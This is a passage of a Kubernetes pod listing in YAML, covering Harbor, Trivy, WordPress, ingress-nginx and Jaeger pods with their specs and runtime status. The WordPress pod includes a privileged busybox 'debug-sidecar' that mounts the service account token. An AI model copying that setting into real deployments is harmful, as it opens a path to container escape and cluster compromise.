          startedAt: "2025-11-28T12:36:52Z"
      name: registry
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:49Z"
      volumeMounts:
      - mountPath: /storage
        name: registry-data
      - mountPath: /etc/registry/passwd
        name: registry-htpasswd
      - mountPath: /etc/registry/config.yml
        name: registry-config
    - containerID: containerd://a599006799583c18f60df00b83817151aa9a5f384e11b9d7641b6cee73f06a36
      image: docker.io/goharbor/harbor-registryctl:v2.14.0
      imageID: docker.io/goharbor/harbor-registryctl@sha256:c5280fadd198d9efc58ed12e77531abbe79f807a52091ef1df26e7268c1b8c81
      lastState:
        terminated:
          containerID: containerd://92efa2ea975c4746663a7de65e32c78aaad8a7a6dae72f2ccbc32c775e37d3e3
          exitCode: 255
          finishedAt: "2025-11-29T13:23:09Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:53Z"
      name: registryctl
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:23:51Z"
      volumeMounts:
      - mountPath: /storage
        name: registry-data
      - mountPath: /etc/registry/config.yml
        name: registry-config
      - mountPath: /etc/registryctl/config.yml
        name: registry-config
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.223
    podIPs:
    - ip: 192.168.61.223
    qosClass: BestEffort
    startTime: "2025-11-04T00:53:30Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/secret: 7fed78c063b47fa17033c6700702ca8ca1ef373f5e15b7af1df8133fbdad0bff
      cni.projectcalico.org/containerID: 39e7173e409238f328ac3f5e6d1ed8265dcc04cc660d22e30079ee618203a111
      cni.projectcalico.org/podIP: 192.168.133.133/32
      cni.projectcalico.org/podIPs: 192.168.133.133/32
    creationTimestamp: "2025-11-04T01:23:22Z"
    generateName: harbor-trivy-
    generation: 1
    labels:
      app: harbor
      app.kubernetes.io/component: trivy
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      apps.kubernetes.io/pod-index: "0"
      chart: harbor
      component: trivy
      controller-revision-hash: harbor-trivy-7594bdcf76
      heritage: Helm
      release: harbor
      statefulset.kubernetes.io/pod-name: harbor-trivy-0
    name: harbor-trivy-0
    namespace: harbor
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: StatefulSet
      name: harbor-trivy
      uid: 3c263000-f9b0-4f8a-8ca9-edc3c55f0718
    resourceVersion: "18007911"
    uid: a70d7d44-1873-41a4-a0c7-82a19ebca811
  spec:
    automountServiceAccountToken: false
    containers:
    - env:
      - name: HTTP_PROXY
      - name: HTTPS_PROXY
      - name: NO_PROXY
        value: harbor-core,harbor-jobservice,harbor-database,harbor-registry,harbor-portal,harbor-trivy,harbor-exporter,127.0.0.1,localhost,.local,.internal
      - name: SCANNER_LOG_LEVEL
        value: info
      - name: SCANNER_TRIVY_CACHE_DIR
        value: /home/scanner/.cache/trivy
      - name: SCANNER_TRIVY_REPORTS_DIR
        value: /home/scanner/.cache/reports
      - name: SCANNER_TRIVY_DEBUG_MODE
        value: "false"
      - name: SCANNER_TRIVY_VULN_TYPE
        value: os,library
      - name: SCANNER_TRIVY_TIMEOUT
        value: 5m0s
      - name: SCANNER_TRIVY_GITHUB_TOKEN
        valueFrom:
          secretKeyRef:
            key: gitHubToken
            name: harbor-trivy
      - name: SCANNER_TRIVY_SEVERITY
        value: UNKNOWN,LOW,MEDIUM,HIGH,CRITICAL
      - name: SCANNER_TRIVY_IGNORE_UNFIXED
        value: "false"
      - name: SCANNER_TRIVY_SKIP_UPDATE
        value: "false"
      - name: SCANNER_TRIVY_SKIP_JAVA_DB_UPDATE
        value: "false"
      - name: SCANNER_TRIVY_DB_REPOSITORY
        value: mirror.gcr.io/aquasec/trivy-db,ghcr.io/aquasecurity/trivy-db
      - name: SCANNER_TRIVY_JAVA_DB_REPOSITORY
        value: mirror.gcr.io/aquasec/trivy-java-db,ghcr.io/aquasecurity/trivy-java-db
      - name: SCANNER_TRIVY_OFFLINE_SCAN
        value: "false"
      - name: SCANNER_TRIVY_SECURITY_CHECKS
        value: vuln
      - name: SCANNER_TRIVY_INSECURE
        value: "false"
      - name: SCANNER_API_SERVER_ADDR
        value: :8080
      - name: SCANNER_REDIS_URL
        valueFrom:
          secretKeyRef:
            key: redisURL
            name: harbor-trivy
      - name: SCANNER_STORE_REDIS_URL
        valueFrom:
          secretKeyRef:
            key: redisURL
            name: harbor-trivy
      - name: SCANNER_JOB_QUEUE_REDIS_URL
        valueFrom:
          secretKeyRef:
            key: redisURL
            name: harbor-trivy
      image: goharbor/trivy-adapter-photon:v2.14.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 10
        httpGet:
          path: /probe/healthy
          port: api-server
          scheme: HTTP
        initialDelaySeconds: 5
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: trivy
      ports:
      - containerPort: 8080
        name: api-server
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /probe/ready
          port: api-server
          scheme: HTTP
        initialDelaySeconds: 5
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources:
        limits:
          cpu: "1"
          memory: 1Gi
        requests:
          cpu: 200m
          memory: 512Mi
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          drop:
          - ALL
        privileged: false
        runAsNonRoot: true
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /home/scanner/.cache
        name: data
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    hostname: harbor-trivy-0
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 10000
      runAsUser: 10000
    serviceAccount: default
    serviceAccountName: default
    subdomain: harbor-trivy
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: data
      persistentVolumeClaim:
        claimName: data-harbor-trivy-0
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:17Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T01:23:22Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:29Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:29Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T01:23:22Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 200m
        memory: 512Mi
      containerID: containerd://395141a1e501b683ee0507c349272c354b30aa938dc02faddc095540de06116c
      image: docker.io/goharbor/trivy-adapter-photon:v2.14.0
      imageID: docker.io/goharbor/trivy-adapter-photon@sha256:ac04556fe3c25a9e136eba1392046c65994e91f3c706ba16464d2ef97ddf783a
      lastState:
        terminated:
          containerID: containerd://2495a80b5fe37512e9d339d5e0621e8544b1cfc12facf204e40f46c0796e3ea6
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:56Z"
      name: trivy
      ready: true
      resources:
        limits:
          cpu: "1"
          memory: 1Gi
        requests:
          cpu: 200m
          memory: 512Mi
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:17Z"
      volumeMounts:
      - mountPath: /home/scanner/.cache
        name: data
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.133
    podIPs:
    - ip: 192.168.133.133
    qosClass: Burstable
    startTime: "2025-11-04T01:23:22Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      checksum/extendedconfig: cea6f23b4882ae1b2ad0b050b4d464be10f90f96a54d6bc88e10523856f5306d
      checksum/secureconfig: 674317f00be04df9b4edeb05391a2ae7f7deffd1b3369adfdaa548a874a58006
      cni.projectcalico.org/containerID: e6d8056e060fa1a0e7f1487aa7c708b11a6e9be91d43e5ab06d28ab7ecde10d0
      cni.projectcalico.org/podIP: 192.168.61.232/32
      cni.projectcalico.org/podIPs: 192.168.61.232/32
    creationTimestamp: "2025-11-04T00:53:29Z"
    generateName: hera-wordpress-7f576688d9-
    generation: 1
    labels:
      app.kubernetes.io/instance: hera
      app.kubernetes.io/name: wordpress
      pod-template-hash: 7f576688d9
    name: hera-wordpress-7f576688d9-bx44r
    namespace: hera
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: hera-wordpress-7f576688d9
      uid: ee17b5c2-f66c-466d-8cc4-0f6ee1c5945d
    resourceVersion: "18034164"
    uid: dfdaf2ae-dd7f-474e-91a5-463965d76c61
  spec:
    containers:
    - envFrom:
      - secretRef:
          name: hera-wordpress
      image: docker.io/wordpress:6.8.3-apache
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 5
        httpGet:
          httpHeaders:
          - name: Host
            value: localhost:8000
          - name: x-forwarded-proto
            value: https
          path: /wp-admin/install.php
          port: http
          scheme: HTTP
        initialDelaySeconds: 30
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 5
      name: wordpress
      ports:
      - containerPort: 8000
        name: http
        protocol: TCP
      readinessProbe:
        failureThreshold: 5
        httpGet:
          httpHeaders:
          - name: Host
            value: localhost:8000
          - name: x-forwarded-proto
            value: https
          path: /wp-login.php
          port: http
          scheme: HTTP
        initialDelaySeconds: 30
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 5
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
        privileged: false
        readOnlyRootFilesystem: true
      startupProbe:
        failureThreshold: 30
        httpGet:
          httpHeaders:
          - name: Host
            value: localhost:8000
          - name: x-forwarded-proto
            value: https
          path: /wp-login.php
          port: http
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 5
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/www/html
        name: wordpress-vol
      - mountPath: /tmp
        name: tmp
      - mountPath: /var/run
        name: run
      - mountPath: /etc/apache2/ports.conf
        name: extended
        subPath: ports.conf
      - mountPath: /etc/apache2/000-default.conf
        name: extended
        subPath: 000-default.conf
      - mountPath: /usr/local/etc/php/conf.d/custom.ini
        name: extended
        subPath: custom.ini
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-b2q2s
        readOnly: true
    - command:
      - sh
      - -c
      - sleep infinity
      image: busybox:1.36
      imagePullPolicy: IfNotPresent
      name: debug-sidecar
      resources: {}
      securityContext:
        privileged: true
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-b2q2s
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 33
      runAsNonRoot: true
      runAsUser: 33
    serviceAccount: default
    serviceAccountName: default
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - emptyDir: {}
      name: tmp
    - emptyDir: {}
      name: run
    - configMap:
        defaultMode: 420
        name: hera-wordpress-extended
      name: extended
    - emptyDir: {}
      name: wordpress-vol
    - name: kube-api-access-b2q2s
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:37Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:05Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:05Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-04T00:53:29Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://ae01b225c0f1623ae1181e9ec1bde82824247c430a8bb817ada92c6b3a303a02
      image: docker.io/library/busybox:1.36
      imageID: docker.io/library/busybox@sha256:355b3a1bf5609da364166913878a8508d4ba30572d02020a97028c75477e24ff
      lastState:
        terminated:
          containerID: containerd://827d8f6b834d82d7d6e2b510c7022e8423160361edf6746447032f9b57e224ed
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:58Z"
      name: debug-sidecar
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:35Z"
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-b2q2s
        readOnly: true
        recursiveReadOnly: Disabled
    - containerID: containerd://480d37071f2431f8a102bc92b055fd386de81271cb4092c846afcfa2cae34c9b
      image: docker.io/library/wordpress:6.8.3-apache
      imageID: docker.io/library/wordpress@sha256:d34b44296d24686bf1a9c70c435b1640202e8e97d824aad9997fc63a61ac5cbb
      lastState:
        terminated:
          containerID: containerd://e513f6ad29719f121fd8a804ea4eda3d3eb6529def1a2ac6aeeddb5681e19ae3
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:56Z"
      name: wordpress
      ready: true
      resources: {}
      restartCount: 3
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:13Z"
      volumeMounts:
      - mountPath: /var/www/html
        name: wordpress-vol
      - mountPath: /tmp
        name: tmp
      - mountPath: /var/run
        name: run
      - mountPath: /etc/apache2/ports.conf
        name: extended
      - mountPath: /etc/apache2/000-default.conf
        name: extended
      - mountPath: /usr/local/etc/php/conf.d/custom.ini
        name: extended
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-b2q2s
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.232
    podIPs:
    - ip: 192.168.61.232
    qosClass: BestEffort
    startTime: "2025-11-04T00:53:29Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: cbbfed91349a9ad7662083ebb84a542d6cc2380959d79e913e59c551d5c6592e
      cni.projectcalico.org/podIP: 192.168.61.234/32
      cni.projectcalico.org/podIPs: 192.168.61.234/32
    creationTimestamp: "2025-10-18T01:08:37Z"
    generateName: ingress-nginx-controller-6b96cf684f-
    generation: 1
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
      pod-template-hash: 6b96cf684f
    name: ingress-nginx-controller-6b96cf684f-tfftb
    namespace: ingress-nginx
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: ReplicaSet
      name: ingress-nginx-controller-6b96cf684f
      uid: b75ad284-b674-4634-94ec-c866f83c28c4
    resourceVersion: "18033900"
    uid: 5d0b1d6e-dc38-4c6f-b553-1d0150bad2dc
  spec:
    automountServiceAccountToken: true
    containers:
    - args:
      - /nginx-ingress-controller
      - --publish-service=$(POD_NAMESPACE)/ingress-nginx-controller
      - --election-id=ingress-nginx-leader
      - --controller-class=k8s.io/ingress-nginx
      - --ingress-class=nginx
      - --configmap=$(POD_NAMESPACE)/ingress-nginx-controller
      - --validating-webhook=:8443
      - --validating-webhook-certificate=/usr/local/certificates/cert
      - --validating-webhook-key=/usr/local/certificates/key
      env:
      - name: POD_NAME
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.name
      - name: POD_NAMESPACE
        valueFrom:
          fieldRef:
            apiVersion: v1
            fieldPath: metadata.namespace
      - name: LD_PRELOAD
        value: /usr/local/lib/libmimalloc.so
      image: registry.k8s.io/ingress-nginx/controller:v1.13.2@sha256:1f7eaeb01933e719c8a9f4acd8181e555e582330c7d50f24484fb64d2ba9b2ef
      imagePullPolicy: IfNotPresent
      lifecycle:
        preStop:
          exec:
            command:
            - /wait-shutdown
      livenessProbe:
        failureThreshold: 5
        httpGet:
          path: /healthz
          port: 10254
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: controller
      ports:
      - containerPort: 80
        name: http
        protocol: TCP
      - containerPort: 443
        name: https
        protocol: TCP
      - containerPort: 8443
        name: webhook
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /healthz
          port: 10254
          scheme: HTTP
        initialDelaySeconds: 10
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources:
        requests:
          cpu: 100m
          memory: 90Mi
      securityContext:
        allowPrivilegeEscalation: false
        capabilities:
          add:
          - NET_BIND_SERVICE
          drop:
          - ALL
        readOnlyRootFilesystem: false
        runAsGroup: 82
        runAsNonRoot: true
        runAsUser: 101
        seccompProfile:
          type: RuntimeDefault
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /usr/local/certificates/
        name: webhook-cert
        readOnly: true
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-r9r4f
        readOnly: true
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    nodeSelector:
      kubernetes.io/os: linux
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: ingress-nginx
    serviceAccountName: ingress-nginx
    terminationGracePeriodSeconds: 300
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: webhook-cert
      secret:
        defaultMode: 420
        secretName: ingress-nginx-admission
    - name: kube-api-access-r9r4f
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:03Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-18T01:12:56Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:35Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:35Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-18T01:12:56Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - allocatedResources:
        cpu: 100m
        memory: 90Mi
      containerID: containerd://0d62efa44a7939be9e01af0ae507e5bbf5a3b64b7a864e25d0fa197b7b9f87c2
      image: sha256:1bec18b3728e7489d64104958b9da774a7d1c7f0f8b2bae7330480b4891f6f56
      imageID: registry.k8s.io/ingress-nginx/controller@sha256:1f7eaeb01933e719c8a9f4acd8181e555e582330c7d50f24484fb64d2ba9b2ef
      lastState:
        terminated:
          containerID: containerd://cb844abce3071d442e0ea720bc041a9ddf918c68601b9a402a2d0bcd4bdc1e20
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:37:04Z"
      name: controller
      ready: true
      resources:
        requests:
          cpu: 100m
          memory: 90Mi
      restartCount: 5
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:03Z"
      volumeMounts:
      - mountPath: /usr/local/certificates/
        name: webhook-cert
        readOnly: true
        recursiveReadOnly: Disabled
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-r9r4f
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.234
    podIPs:
    - ip: 192.168.61.234
    qosClass: Burstable
    startTime: "2025-10-18T01:12:56Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: 2b91e7865e3c60aa9864e7394e2c01edf8f49c06853121feb6cb0ea95107b357
      cni.projectcalico.org/podIP: 192.168.61.207/32
      cni.projectcalico.org/podIPs: 192.168.61.207/32
    creationTimestamp: "2025-10-19T15:15:44Z"
    generateName: jaeger-agent-
    generation: 1
    labels:
      app.kubernetes.io/component: agent
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
      controller-revision-hash: 7cb877d448
      pod-template-generation: "1"
    name: jaeger-agent-2qptt
    namespace: jaeger
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: jaeger-agent
      uid: aad09bbe-e071-4581-98a9-a39f22f817a5
    resourceVersion: "18034186"
    uid: f0c32e9f-306d-4881-a949-c1fc6d08807f
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-2
    containers:
    - env:
      - name: REPORTER_GRPC_HOST_PORT
        value: jaeger-collector:14250
      image: jaegertracing/jaeger-agent:1.53.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: admin
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: jaeger-agent
      ports:
      - containerPort: 5775
        name: zipkin-compact
        protocol: UDP
      - containerPort: 6831
        name: jaeger-compact
        protocol: UDP
      - containerPort: 6832
        name: jaeger-binary
        protocol: UDP
      - containerPort: 5778
        name: http
        protocol: TCP
      - containerPort: 14271
        name: admin
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: admin
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-2
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: jaeger-agent
    serviceAccountName: jaeger-agent
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:24:43Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T15:15:44Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:07Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T13:25:07Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-19T15:15:44Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://ae3a2164120d8538302842bfdfe9606735b59ed7c389b629e24b35bb52c0cfdd
      image: docker.io/jaegertracing/jaeger-agent:1.53.0
      imageID: docker.io/jaegertracing/jaeger-agent@sha256:0214a0ef24b15cb31c34dc2599b0ae9cc01209a1e8fd6d3bcc36e51d10d09e7b
      lastState:
        terminated:
          containerID: containerd://bb057cb5df73cdbac430f38af8cf56cb662958d99448abcba24edec341ff2ef1
          exitCode: 255
          finishedAt: "2025-11-29T13:23:10Z"
          reason: Unknown
          startedAt: "2025-11-28T12:36:53Z"
      name: jaeger-agent
      ready: true
      resources: {}
      restartCount: 4
      started: true
      state:
        running:
          startedAt: "2025-11-29T13:24:43Z"
    hostIP: 172.16.30.17
    hostIPs:
    - ip: 172.16.30.17
    phase: Running
    podIP: 192.168.61.207
    podIPs:
    - ip: 192.168.61.207
    qosClass: BestEffort
    startTime: "2025-10-19T15:15:44Z"
- apiVersion: v1
  kind: Pod
  metadata:
    annotations:
      cni.projectcalico.org/containerID: e066a3fb98671eaabd87b1712768e9c3c121e294a76699163ecc301c368ac195
      cni.projectcalico.org/podIP: 192.168.34.42/32
      cni.projectcalico.org/podIPs: 192.168.34.42/32
    creationTimestamp: "2025-10-22T17:30:05Z"
    generateName: jaeger-agent-
    generation: 1
    labels:
      app.kubernetes.io/component: agent
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
      controller-revision-hash: 7cb877d448
      pod-template-generation: "1"
    name: jaeger-agent-n4rr4
    namespace: jaeger
    ownerReferences:
    - apiVersion: apps/v1
      blockOwnerDeletion: true
      controller: true
      kind: DaemonSet
      name: jaeger-agent
      uid: aad09bbe-e071-4581-98a9-a39f22f817a5
    resourceVersion: "18046299"
    uid: 3283cb02-e116-4725-93d9-b4f57d4ddee5
  spec:
    affinity:
      nodeAffinity:
        requiredDuringSchedulingIgnoredDuringExecution:
          nodeSelectorTerms:
          - matchFields:
            - key: metadata.name
              operator: In
              values:
              - k8s-m-3
    containers:
    - env:
      - name: REPORTER_GRPC_HOST_PORT
        value: jaeger-collector:14250
      image: jaegertracing/jaeger-agent:1.53.0
      imagePullPolicy: IfNotPresent
      livenessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: admin
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      name: jaeger-agent
      ports:
      - containerPort: 5775
        name: zipkin-compact
        protocol: UDP
      - containerPort: 6831
        name: jaeger-compact
        protocol: UDP
      - containerPort: 6832
        name: jaeger-binary
        protocol: UDP
      - containerPort: 5778
        name: http
        protocol: TCP
      - containerPort: 14271
        name: admin
        protocol: TCP
      readinessProbe:
        failureThreshold: 3
        httpGet:
          path: /
          port: admin
          scheme: HTTP
        periodSeconds: 10
        successThreshold: 1
        timeoutSeconds: 1
      resources: {}
      securityContext: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-3
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext: {}
    serviceAccount: jaeger-agent
    serviceAccountName: jaeger-agent
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/disk-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/memory-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/pid-pressure
      operator: Exists
    - effect: NoSchedule
      key: node.kubernetes.io/unschedulable
      operator: Exists
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:19Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T17:30:05Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:19Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T14:25:19Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-10-22T17:30:05Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://35209412e11c2771ab5de56fe3897ca4138a776fa75af2f7364582fab398a96a
      image: docker.io/jaegertracing/jaeger-agent:1.53.0
      imageID: docker.io/jaegertracing/jaeger-agent@sha256:0214a0ef24b15cb31c34dc2599b0ae9cc01209a1e8fd6d3bcc36e51d10d09e7b
      lastState:
        terminated:
          containerID: containerd://2129695e954c9102447226698c5bf7875d13f668f1e04914944702df4b549bb6
          exitCode: 255
          finishedAt: "2025-11-29T14:24:14Z"
          reason: Unknown
          startedAt: "2025-11-28T12:27:51Z"
      name: jaeger-agent
      ready: true
      resources: {}
      restartCount: 21
      started: true
      state:
        running:
          startedAt: "2025-11-29T14:25:18Z"
    hostIP: 172.16.30.18
